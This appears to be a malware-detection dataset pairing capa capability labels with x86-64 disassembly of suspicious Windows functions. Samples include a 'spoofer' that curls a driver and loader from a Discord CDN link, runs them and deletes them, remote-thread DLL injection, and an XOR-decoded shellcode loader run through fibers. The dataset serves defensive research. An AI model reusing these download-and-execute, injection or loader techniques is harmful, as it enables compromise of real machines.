joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400112da
Capabilities:
Delete file
Execute command
Log keystrokes via polling

Disassembly:
jmp 0x1400122d0
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240f3]
call fcn.1400113ed
lea rcx, str.color_c
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.__n_n_n____i___Welcome_to_GS_Services_Temp_spoofer
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__n_n____f1___Spoof_serials
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.__n_n____f2___Check_serials
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
xor eax, eax
cmp eax, 1
je 0x140012438
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1400123dc
lea rcx, [0x14001acb8]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___i___Downloading_files...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182814985760542814_Spoofy.sys___output_C:WindowsSystem32Taskswoooof.sys__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182815107810594816_spoofer_map.exe___output_C:WindowsSystem32Tasksmmmaaapp.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe_C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___i___Spoofed_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rcx, str.C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe
call qword [sym.imp.ucrtbased.dll_remove]
jmp 0x140012438
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140012433
lea rcx, [0x14001acb8]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str._n_n___i___Here_are_your_serials:_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rcx, str._n_n_____wmic_diskdrive_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._n_____wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140012438
jmp 0x14001233c
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x1400112e4
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014d30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014d50
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014d63
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014d8d
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014da1
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014db3
xor al, al
jmp 0x140014dd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014dcf
xor al, al
jmp 0x140014dd1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001070
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
cmp ecx, 3
je 0x1400010a5
mov eax, 4
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rdi
ret
mov rcx, qword [rdx + 0x10]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], r14
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rdi, qword [rdi + 8]
lea rdx, str.Showconsole
mov rcx, rdi
mov esi, eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001180
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
test rax, rax
je 0x14000112a
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov rcx, rbx
cmp dword [rsp + 0x40], esi
je 0x140001165
mov edx, 2
call qword [sym.imp.USER32.dll_GetWindow]
mov rbx, rax
test rax, rax
jne 0x140001100
lea rcx, [0x140003310]
call fcn.140001010
mov eax, 4
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rdi
ret
mov edx, 9
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x14000330c]
call fcn.140001010
xor eax, eax
jmp 0x14000113b
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000112a
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, 0xffffffffffffffff
mov rbp, rax
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x1400011c2
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov r9, rbx
nop dword [rax + rax]
inc r9
cmp byte [rdi + r9], 0
jne 0x1400011f0
mov r8, rdi
mov qword [rsp + 0x20], 0
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000112a
mov qword [rsp + 0x30], 0
mov r9, rbp
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, rax
test rax, rax
je 0x14000112a
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop dword [rax + rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140001260
mov r8, rbx
mov r9d, 0x8000
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14000330c]
call fcn.140001010
xor eax, eax
jmp 0x14000113b
Function at 0x140001368
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows fibers
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edx, 0x64
xor ecx, ecx
lea r8d, [rdx - 0x61]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400014f2
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x1400014f2
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400014f2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400014f2
mov ecx, ebp
call fcn.140001594
mov r8d, ebp
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140003020
test ebp, ebp
je 0x140001462
mov rax, rbx
mov ecx, ebp
xor byte [rax], 0x51
inc rax
sub rcx, 1
jne 0x1400013f8
mov rcx, rbx
mov rdx, rbp
mov al, byte [rcx]
neg al
mov byte [rcx], al
inc rcx
sub rdx, 1
jne 0x14000140a
mov rcx, rbx
mov rdx, rbp
not byte [rcx]
inc rcx
sub rdx, 1
jne 0x14000141f
mov rax, rbx
mov rcx, rbp
xor byte [rax], 0x58
inc rax
sub rcx, 1
jne 0x140001430
mov rcx, rbx
mov rdx, rbp
mov al, byte [rcx]
neg al
mov byte [rcx], al
inc rcx
sub rdx, 1
jne 0x140001442
mov rcx, rbx
mov rdx, rbp
not byte [rcx]
inc rcx
sub rdx, 1
jne 0x140001457
test rbx, rbx
je 0x1400014f2
test ebp, ebp
je 0x140001481
mov rax, rbx
mov rcx, rbp
xor byte [rax], 0x42
inc rax
sub rcx, 1
jne 0x140001475
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test ebp, ebp
je 0x1400014cb
mov rcx, rbx
mov rdx, rbp
xor byte [rcx], 0x42
inc rcx
sub rdx, 1
jne 0x1400014ad
mov rax, rbx
mov rcx, rbp
xor byte [rax], 0x1b
inc rax
sub rcx, 1
jne 0x1400014bf
mov r8, rbp
mov rdx, rbx
mov rcx, rsi
call fcn.140003020
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
jmp 0x1400014f4
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000150c
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x140001551
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
je 0x140001551
call section..text
call fcn.140001368
xor eax, eax
add rsp, 0x38
ret

Function at 0x1400041a0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140003f04
Function at 0x140004910
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x280
movdqa xmmword [rsp + 0x2e0], xmm6
movdqa xmmword [rsp + 0x2f0], xmm7
movdqa xmmword [rsp + 0x300], xmm8
movdqa xmmword [rsp + 0x310], xmm9
movdqa xmmword [rsp + 0x320], xmm10
movdqa xmmword [rsp + 0x330], xmm11
movdqa xmmword [rsp + 0x340], xmm12
movdqa xmmword [rsp + 0x350], xmm13
movdqa xmmword [rsp + 0x360], xmm14
movdqa xmmword [rsp + 0x370], xmm15
mov eax, dword [0x14031b458]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x10
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x280]
mov qword [rdx + 8], r8
call fcn.1401226e0
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x14031b458]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x10
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x140004aa0
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x140004abc
cmp rcx, r8
jl 0x140004aaf
mov qword [rdx + 0x80], rcx
test dword [0x1403145a8], 1
je 0x140004aeb
cmp byte [rsp + 0xd0], 0
je 0x140004aeb
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x140004610
mov rsp, r8
jmp rax
Function at 0x140004af0
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xc8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rdx
mov eax, dword [0x14031b458]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x10
add rax, rbx
mov qword [rsp + 0xc0], rax
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [rdx + 0x18]
mov rbx, qword [rax]
mov rax, qword [rdx + 0x20]
mov rbp, qword [rax]
mov rax, qword [rdx + 0x28]
mov rsi, qword [rax]
mov rax, qword [rdx + 0x30]
mov rdi, qword [rax]
mov rax, qword [rdx + 0x58]
mov r12, qword [rax]
mov rax, qword [rdx + 0x60]
mov r13, qword [rax]
mov rax, qword [rdx + 0x68]
mov r14, qword [rax]
mov rax, qword [rdx + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [rdx + 0x90]
movdqa xmm7, xmmword [rdx + 0xa0]
movdqa xmm8, xmmword [rdx + 0xb0]
movdqa xmm9, xmmword [rdx + 0xc0]
movdqa xmm10, xmmword [rdx + 0xd0]
movdqa xmm11, xmmword [rdx + 0xe0]
movdqa xmm12, xmmword [rdx + 0xf0]
movdqa xmm13, xmmword [rdx + 0x100]
movdqa xmm14, xmmword [rdx + 0x110]
movdqa xmm15, xmmword [rdx + 0x120]
mov rcx, qword [rdx + 0x78]
call qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
mov rax, qword [rdx + 0x18]
mov qword [rax], rbx
mov rax, qword [rdx + 0x20]
mov qword [rax], rbp
mov rax, qword [rdx + 0x28]
mov qword [rax], rsi
mov rax, qword [rdx + 0x30]
mov qword [rax], rdi
mov rax, qword [rdx + 0x58]
mov qword [rax], r12
mov rax, qword [rdx + 0x60]
mov qword [rax], r13
mov rax, qword [rdx + 0x68]
mov qword [rax], r14
mov rax, qword [rdx + 0x70]
mov qword [rax], r15
movdqa xmmword [rdx + 0x90], xmm6
movdqa xmmword [rdx + 0xa0], xmm7
movdqa xmmword [rdx + 0xb0], xmm8
movdqa xmmword [rdx + 0xc0], xmm9
movdqa xmmword [rdx + 0xd0], xmm10
movdqa xmmword [rdx + 0xe0], xmm11
movdqa xmmword [rdx + 0xf0], xmm12
movdqa xmmword [rdx + 0x100], xmm13
movdqa xmmword [rdx + 0x110], xmm14
movdqa xmmword [rdx + 0x120], xmm15
mov rax, qword [rsp + 0xc0]
lock or dword [rax + 0x38], 0x10
movdqa xmm6, xmmword [rsp + 0x20]
movdqa xmm7, xmmword [rsp + 0x30]
movdqa xmm8, xmmword [rsp + 0x40]
movdqa xmm9, xmmword [rsp + 0x50]
movdqa xmm10, xmmword [rsp + 0x60]
movdqa xmm11, xmmword [rsp + 0x70]
movdqa xmm12, xmmword [rsp + 0x80]
movdqa xmm13, xmmword [rsp + 0x90]
movdqa xmm14, xmmword [rsp + 0xa0]
movdqa xmm15, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbp
pop rdi
pop rsi
pop rbx
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140005080
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rdx
mov rdx, rcx
mov rcx, rax
jmp 0x14000be30
mov rax, qword gs:[0x30]
mov r10, rcx
mov r8, qword [rax + 0x60]
mov r9, qword [r8 + 0x18]
add r9, 0x20
mov rax, qword [r9]
nop dword [rax + rax]
cmp qword [rax + 0x20], rdx
je 0x14000be6d
test rdx, rdx
je 0x14000be6d
mov rax, qword [rax]
cmp rax, r9
jne 0x14000be50
mov qword [rcx], 0
xor eax, eax
ret
mov rcx, qword [rax + 0x40]
mov qword [r10], rcx
movzx eax, word [rax + 0x38]
shr eax, 1
ret

Function at 0x1400058a0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov esi, ecx
movsxd rbx, edx
lea rcx, [rsp + 0x50]
call sub.KERNEL32.dll_QueryPerformanceCounter
mov rdi, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call sub.KERNEL32.dll_QueryPerformanceFrequency
mov r14d, 0x1e
mov rdx, rbx
imul rdx, qword [rsp + 0x50]
movabs rax, 0x431bde82d7b634db
imul rdx
mov rbp, rdx
sar rbp, 0x12
mov rax, rbp
shr rax, 0x3f
add rbp, rax
add rbp, rdi
cmp esi, r14d
cmovb r14d, esi
xor edi, edi
test r14d, r14d
jle 0x140005942
mov ebx, 1
test ebx, ebx
jle 0x140005928
mov eax, ebx
nop dword [rax]
pause
sub rax, 1
jne 0x140005920
lea rcx, [rsp + 0x50]
call sub.KERNEL32.dll_QueryPerformanceCounter
cmp qword [rsp + 0x50], rbp
jg 0x140005942
inc edi
rol ebx, 1
cmp edi, r14d
jl 0x140005913
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140005960
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword gs:[0x58]
movzx esi, dl
mov r8d, dword [0x14031b458]
mov rbp, rcx
mov rdi, qword [rax + r8*8]
mov eax, pe_nt_image_headers64
cmp byte [rax + rdi], 0
jne 0x1400059a0
call fcn.140069e74
mov ebx, 0x10
add rbx, rdi
mov rcx, rbx
call fcn.140006b00
xor r14d, r14d
lea rcx, [rbp + 0x10]
test al, al
cmovne r14, rbx
call fcn.14000c8a0
mov qword [0x1403145b0], r14
test sil, sil
je 0x1400059de
mov rcx, qword [0x140314850]
mov rax, qword [rcx]
call qword [rax + 0x1c0]
mov eax, dword [0x1403145a8]
or eax, 2
mov dword [0x1403145a8], eax
call sub.KERNEL32.dll_FlushProcessWriteBuffers
xor r15d, r15d
xor esi, esi
xor dil, dil
movabs r12, 0x431bde82d7b634db
mov ebp, esi
xor esi, esi
call fcn.140005de0
mov rcx, rax
call fcn.140005e40
mov r8b, 1
lea rcx, [rsp + 0x20]
lea rdx, [rax + 0x10]
call fcn.14000c660
call fcn.140005de0
mov rcx, rax
call fcn.140005e40
mov rcx, qword [rax]
mov qword [rsp + 0x30], rcx
nop dword [rax + rax]
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x140005a75
mov rax, qword [rbx + 0x58]
mov qword [rsp + 0x30], rax
cmp rbx, r14
je 0x140005a40
mov rcx, rbx
call fcn.140006210
test al, al
jne 0x140005a40
inc esi
test dil, dil
jne 0x140005a40
mov rcx, rbx
call fcn.1400067a0
jmp 0x140005a40
lea rcx, [rsp + 0x20]
call fcn.14000c880
test esi, esi
je 0x140005b30
cmp esi, ebp
jl 0x140005ab7
test dil, dil
je 0x140005ab7
mov edx, 0x64
mov ecx, r15d
call fcn.1400058a0
inc r15d
xor dil, dil
test r15b, 0x7f
jne 0x140005a04
call sub.KERNEL32.dll_SwitchToThread
jmp 0x140005a04
lea rcx, [rsp + 0x70]
call sub.KERNEL32.dll_QueryPerformanceCounter
mov rbx, qword [rsp + 0x70]
lea rcx, [rsp + 0x70]
call sub.KERNEL32.dll_QueryPerformanceFrequency
mov rax, qword [rsp + 0x70]
lea rcx, [rax + rax*4]
mov rax, r12
imul rcx
mov rbp, rdx
sar rbp, 0x12
mov rax, rbp
shr rax, 0x3f
add rbp, rax
add rbp, rbx
mov ebx, 1
xor edi, edi
nop word [rax + rax]
test ebx, ebx
jle 0x140005b0e
mov eax, ebx
pause
sub rax, 1
jne 0x140005b06
lea rcx, [rsp + 0x70]
call sub.KERNEL32.dll_QueryPerformanceCounter
cmp qword [rsp + 0x70], rbp
jg 0x140005b28
inc edi
rol ebx, 1
cmp edi, 0x1e
jl 0x140005b00
mov dil, 1
jmp 0x140005a04
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x14000c240
Capabilities:
Resume thread
Suspend thread

Disassembly:
cmp qword [rcx + 0x60], 0xffffffffffffffff
je 0x1400067bd
mov eax, dword [rcx + 0x38]
shr eax, 7
test al, 1
jne 0x1400067bd
mov rdx, rcx
mov rcx, qword [rcx + 0x60]
jmp 0x14000c240
ret
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x500
mov rax, qword [0x14030d1c8]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rdi, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x14000c2b0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x50], 0x40100003
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000c2a7
mov eax, dword [rsp + 0x50]
test eax, eax
jns 0x14000c2a7
test eax, 0x18000000
jne 0x14000c2a7
mov rdx, rdi
lea rcx, [rsp + 0x20]
call qword [0x140314990]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.140069f40
mov rbx, qword [rsp + 0x520]
add rsp, 0x500
pop rdi
ret

Function at 0x14000c490
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14000c4a4
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x14000c530
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000c559
add rsp, 0x38
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x38
ret

Function at 0x14000c570
Capabilities:
Create thread
Resume thread

Disassembly:
push rbx
sub rsp, 0x30
mov r9, rdx
mov qword [rsp + 0x28], 0
mov r8, rcx
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14000c5a5
add rsp, 0x30
pop rbx
ret
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x14000cb80
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub rsp, 0x28
movzx eax, byte [0x140314998]
test al, al
jne 0x14000cd31
lea rcx, [0x1403149a0]
call fcn.14000c630
movzx eax, byte [0x140314998]
test al, al
je 0x14000cbbb
lea rcx, [0x1403149a0]
call fcn.14000c650
add rsp, 0x28
ret
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x40], rbp
call sub.KERNEL32.dll_QueryPerformanceFrequency
test eax, eax
je 0x14000cd19
mov rbp, qword [rsp + 0x30]
cmp rbp, 0x64
jl 0x14000cd19
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x30]
movabs rax, 0xa3d70a3d70a3d70b
mov qword [rsp + 0x48], rsi
imul rbp
mov qword [rsp + 0x20], rdi
xor edi, edi
lea rbx, [rdx + rbp]
sar rbx, 6
mov rax, rbx
shr rax, 0x3f
add rbx, rax
call sub.KERNEL32.dll_QueryPerformanceCounter
mov rsi, qword [rsp + 0x30]
mov eax, 0x3e8
pause
sub rax, 1
jne 0x14000cc25
lea rcx, [rsp + 0x30]
add edi, 0x3e8
call sub.KERNEL32.dll_QueryPerformanceCounter
mov rax, qword [rsp + 0x30]
sub rax, rsi
cmp rax, rbx
jl 0x14000cc20
movsd xmm3, qword [0x1402a3ce8]
xorps xmm1, xmm1
xorps xmm0, xmm0
xorps xmm2, xmm2
cvtsi2sd xmm0, rbp
mov ecx, 1
cvtsi2sd xmm2, rax
mov eax, edi
cvtsi2sd xmm1, rax
mulsd xmm2, qword [0x1402a3d00]
mulsd xmm1, xmm0
movsd xmm0, qword [0x1402a3cf0]
divsd xmm2, xmm1
movsd xmm1, qword [0x1402a3cf8]
maxsd xmm3, xmm2
divsd xmm0, xmm3
addsd xmm0, qword [0x1402a3ce0]
cvttsd2si edx, xmm0
cmp edx, ecx
cmovl edx, ecx
mov dword [0x14030c6f8], edx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm3
divsd xmm1, xmm0
addsd xmm1, qword [0x1402a3ce0]
cvttsd2si eax, xmm1
movd xmm1, edx
cmp eax, ecx
cvtdq2ps xmm1, xmm1
cmovl eax, ecx
mov dword [0x14030c6fc], eax
mov byte [0x140314998], cl
mov rcx, qword [0x140314850]
mov rax, qword [rcx]
call qword [rax + 0x180]
lea rcx, [0x1403149a0]
call fcn.14000c650
